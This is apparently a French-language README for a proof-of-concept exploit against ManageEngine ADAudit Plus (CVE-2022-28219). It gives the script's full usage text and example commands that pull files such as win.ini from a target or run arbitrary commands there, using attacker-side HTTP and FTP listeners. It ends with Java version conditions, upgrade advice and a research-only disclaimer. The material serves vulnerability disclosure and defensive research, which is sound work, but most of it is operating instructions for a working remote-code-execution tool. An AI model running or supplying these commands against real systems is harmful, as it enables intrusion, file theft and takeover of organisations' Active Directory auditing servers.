
PoC pour ManageEngine ADAudit Plus CVE-2022-28219
POC pour CVE-2022-28219 affectant les builds ManageEngine ADAudit Plus < 7060
Plus de détails sur notre blog : https://www.horizon3.ai/red-team-blog-cve-2022-28219
% python3 CVE-2022-28219.py -h
usage: CVE-2022-28219.py [-h] -t TARGET -l LHOST -d DOMAIN [-lhp HTTP_PORT] [-lfp FTP_PORT] [-f FILE] [-c COMMAND] [-u USER]
optional arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET
target URL with port
-l LHOST, --lhost LHOST
local bind IP
-d DOMAIN, --domain DOMAIN
fully qualified domain served by ADAudit Plus
-lhp HTTP_PORT, --http-port HTTP_PORT
local HTTP port to bind to
-lfp FTP_PORT, --ftp-port FTP_PORT
local FTP port to bind to
-f FILE, --file FILE get file or directory listing at given path, use forward slashes and don't include drive, e.g. /windows/win.ini or /users
-c COMMAND, --command COMMAND
command to execute, e.g. calc.exe
-u USER, --user USER user running ADAudit Plus app, useful for finding upload file quickly
Par exemple, pour récupérer le fichier c:\windows\win.ini :
python3 CVE-2022-28219.py -t <target_url> -l <attacker_ip> -d <target_fqdn> -f /windows/win.ini
Ou pour exécuter calc.exe sur la cible :
python3 CVE-2022-28219.py -t <target_url> -l <attacker_ip> -d <target_fqdn> -c calc.exe
Note : la récupération de fichiers et l'exécution de code à distance (RCE) nécessitent que ManageEngine ADAudit Plus fonctionne avec un environnement d'exécution Java 8u121 ou inférieur. Cela sera vrai la plupart du temps car la version par défaut de l'environnement d'exécution Java fournie avec ADAudit Plus est 8u051.
Mettez à jour vers ManageEngine ADAudit Plus build 7060 ou version ultérieure.
Ce logiciel a été créé uniquement à des fins de recherche académique et pour le développement de techniques défensives efficaces, et n'est pas destiné à être utilisé pour attaquer des systèmes sauf autorisation explicite. Les mainteneurs du projet ne sont pas responsables de l'utilisation abusive du logiciel. Utilisez-le de manière responsable.